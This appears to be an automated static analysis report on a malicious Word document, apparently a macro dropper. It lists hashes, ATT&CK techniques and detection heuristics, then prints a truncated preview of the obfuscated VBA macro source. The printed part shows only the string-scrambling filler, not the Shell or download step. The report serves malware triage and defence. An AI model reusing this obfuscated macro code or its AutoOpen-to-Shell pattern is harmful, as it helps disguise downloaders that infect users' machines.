Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bb72219dccf134ea…

MALICIOUS

Office (OLE)

170.0 KB Created: 2017-11-26 21:52:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: d910a749d6761fa9b82121bcf9ec7ed6 SHA-1: af22426d5d640b616a38cc736a1c3f5443dbfd1f SHA-256: bb72219dccf134ea17245d19fbbcee855814d17b915666f22352732f7b8d08cc
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function that calls the Shell() function, indicating it's designed to execute arbitrary commands. The macro's obfuscated string manipulation and the presence of a suspicious URL suggest it's a downloader for a second-stage payload. The ClamAV detection and heuristic firings further confirm its malicious nature as a dropper.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6384768-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6384768-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wimILl+ILln+imn In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 87001 bytes
SHA-256: 1ea6535b119a0ab164fb7018d88f9a090f3c734fe5ee484737595ca0cbd18b9f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zUSEcurcI"
Function zDKAIWCzD()
ktjmfTzZPj = "bGKilqo6ZiwmPiRljwflzXdUcHJDaCNIJVhdNkBrbEHZvNftNRRUjOqCMIaiXbDvQpduBnXwwoKuQEYObQpDhoJJJHwlXl4qv"
sqwjfLJtd = Array(StrReverse(StrReverse("vaSKWFKwwU")), StrReverse("WMtMiBQfKi"), StrReverse("aCGzKiwKjZ"), StrReverse("jzLHUlijVQ"), StrReverse("zRVrwnDoZK"), StrReverse("atsmUsUVzo"), StrReverse("IzPZoYAmsw"), StrReverse("WjJukIhOzW"))
HYpTFW = Mid(ktjmfTzZPj, 10, 74)
USwBUjMv = Array(StrReverse(StrReverse("CismhFiLuX")), StrReverse("lLimruscCL"), StrReverse("wziLkStkVB"), StrReverse("CduOZWtvbu"), StrReverse("zGXfqqXSSL"), StrReverse("fzTvPFAjBP"), StrReverse("MzqsVHQUMU"), StrReverse("AzAIMqZCUu"))
zzsRESSKEEV = "WGPC2uXw13Y5zp8LqpLGY6MkkWDQzowlLnqQdOtBkvRABVNibmVHUFDwdXwzzqQAwvANLhsiKQzZBUZaLnIKSqRFkumFPwDuiQCGV3FO7ZEEPk"
mdtZIMsHial = Array(StrReverse(StrReverse("uIJYQFwhGh")), StrReverse("qOqPdhNodK"), StrReverse("kEKvcJqYaU"), StrReverse("wbTuNEbFEt"), StrReverse("JNrOPCGmfV"), StrReverse("UAwBkpwOvG"), StrReverse("OZGliOvwCY"), StrReverse("FHjkBWMwfa"))
sLKcm = Mid(zzsRESSKEEV, 29, 73)
zJmDqdjo = Array(StrReverse(StrReverse("nILQEauwtv")), StrReverse("oFHRAMEYwT"), StrReverse("YzEfAzNKSY"), StrReverse("zfKIVtvGWq"), StrReverse("RrKcSfCFBu"), StrReverse("HshdCnDjPH"), StrReverse("MkiVwIuwvG"), StrReverse("RzBIChpcMV"))
wiKZMBOCRF = "VNEaj0LvjJbsvwJskdzhKrfTapUqFNPwVRRfYDTsXCXpfnSNHAKWwZplbXkDsichNcClidDjYJKHUqnmXGiEDtAvbfDASPApaqcCljfdzkSLZ8GdjozMnVWOWT"
fVWmjJFVvQ = Array(StrReverse(StrReverse("MPiTYlvaLS")), StrReverse("NfLIpDjavG"), StrReverse("SFzqbmqJiR"), StrReverse("kiUUcTkYnD"), StrReverse("dSfGnmTjVr"), StrReverse("JuKwjHSorm"), StrReverse("umwthfLqjW"), StrReverse("THnrczZqDp"))
StjvlRbr = Mid(wiKZMBOCRF, 20, 86)
wBJiP = Array(StrReverse(StrReverse("PfJjwVlFBK")), StrReverse("psKzDWMpkO"), StrReverse("OIqkNImWNp"), StrReverse("UQzTYCEhzZ"), StrReverse("SYnkfLwWrt"), StrReverse("RiUZHGoZWp"), StrReverse("jPsMpZsqZA"), StrReverse("RirLvpVFEC"))
rMsSdonQVbP = "L3wD16WtucWfdATuuqzDGduJwYlKiGiHdvcQumPOMEvkSSFLUNPctNwHzdHqLtMYiudZXCzIbjrCoSFsF4OK76NQkcqoMtSJs6SiXZ"
avomiWU = Array(StrReverse(StrReverse("zTKukBuhcw")), StrReverse("vzXDlnXjsS"), StrReverse("qkScSTEmzs"), StrReverse("dRwkqnQCYJ"), StrReverse("bNEFAjDJuu"), StrReverse("WUHHQPAibQ"), StrReverse("zHkkTiwmMw"), StrReverse("XVLjqdfMci"))
hUaLnQ = Mid(rMsSdonQVbP, 14, 63)
RpLuUMKVbTS = Array(StrReverse(StrReverse("cVkkGuKqni")), StrReverse("iIvfJBqFYw"), StrReverse("NvDMsQnjti"), StrReverse("SMNOdNUPts"), StrReverse("OTrDnlRUYz"), StrReverse("uQSfmjRXrq"), StrReverse("GawILVujCw"), StrReverse("jaMjitDAZH"))
SkvJjSzTzil = "2nIltZufiRFKXTzBMIFklsatSXvEvmHjLDGlvJWQiOWVRoZUKtEwTipXPOTWiqjsKWwUMOFClpBXVEbdzauCiKPhNjVjqAmsfiLvqFHvnBKicSCLmqYDwjJzGQGdsYMlCJrrtjmrSwOjAlEvjKuzbivwULMujRaUknXLdozVQk8sdLNiaLw"
hcvmAN = Array(StrReverse(StrReverse("LvdlYpQpfV")), StrReverse("owFLDRfJHh"), StrReverse("fqdEUwUvsj"), StrReverse("PQavXVoKDJ"), StrReverse("EQXLZAujUM"), StrReverse("HTjiAUSYQb"), StrReverse("UVzzGYXJoi"), StrReverse("cUGwdPSSfT"))
iGMwOwPdup = Mid(SkvJjSzTzil, 3, 152)
kpkVhLAjbhL = Array(StrReverse(StrReverse("GEBtnXOAvA")), StrReverse("FSBuJihlsN"), StrReverse("OOzOSEGwEU"), StrReverse("BkMwNvkjtU"), StrReverse("jblGCmtKTS"), StrReverse("wMTWSsHmbi"), StrReverse("QSvbwVGDjO"), StrReverse("wArYdmcrLf"))
JESsiWSJPPS = "4FQCIEmCLOQTFkzLXAbSTiYGCblUzjNJOwfamBsOPlmlYztaacwCacFlhJzhSSDbBGEJFYZVHMlMi1rmqw3fR"
FntVwiF = Array(StrReverse(StrReverse("MpwFWZWFqu")), StrReverse("wzobjwLbbc"), StrReverse("PkuwncmaRz"), StrReverse("tRsfiTVqtp"), StrReverse("YPGTZdDFKP"), StrReverse("XMKDFbvCSu"), StrReverse("nwnqAhEIsP"), StrReverse("aUhlDzdaWJ"))
PhPWuzVvi = Mid(JESsiWSJPPS, 2, 73)
iHkuRbqCz = Array(StrReverse(StrReverse("LhaGoHmPFJ")), StrReverse("kEVoavjDmc"), StrReverse("pidCFtwSTq"), StrRever
... (truncated)